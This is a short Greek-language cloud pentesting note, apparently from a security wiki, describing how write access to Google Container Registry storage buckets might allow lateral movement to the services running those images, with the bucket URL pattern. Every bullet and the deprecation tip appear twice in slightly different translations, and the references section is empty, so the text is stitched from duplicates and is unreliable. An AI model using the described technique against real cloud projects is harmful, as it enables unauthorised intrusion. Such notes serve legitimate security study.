- **Google Container Registry** αποθηκεύει τα images μέσα σε buckets, αν μπορείτε να **γράψετε σε αυτά τα buckets** μπορεί να είστε σε θέση να **μετακινηθείτε πλευρικά προς εκεί που αυτά τα buckets τρέχουν.**
- Το bucket που χρησιμοποιείται από GCR θα έχει ένα URL παρόμοιο με `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Τα top level subdomains καθορίζονται [εδώ](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
- **Google Container Registry** αποθηκεύει τις εικόνες μέσα σε buckets αν μπορείτε να **γράψετε σε αυτά τα buckets**, ίσως να μπορείτε να move laterally προς τις υπηρεσίες όπου αυτές οι εικόνες εκτελούνται.
- Το bucket που χρησιμοποιείται από GCR θα έχει URL παρόμοιο με `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Τα top level subdomains περιγράφονται [εδώ](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> Αυτή η υπηρεσία είναι deprecated οπότε αυτή η επίθεση δεν είναι πλέον χρήσιμη. Επιπλέον, Artifact Registry, η υπηρεσία που την αντικαθιστά, δεν αποθηκεύει τα images σε buckets.
> Αυτή η υπηρεσία είναι deprecated οπότε αυτή η επίθεση δεν είναι πλέον χρήσιμη. Επιπλέον, Artifact Registry, η υπηρεσία που την αντικαθιστά, δεν αποθηκεύει τις εικόνες σε buckets.
## **Αναφορές**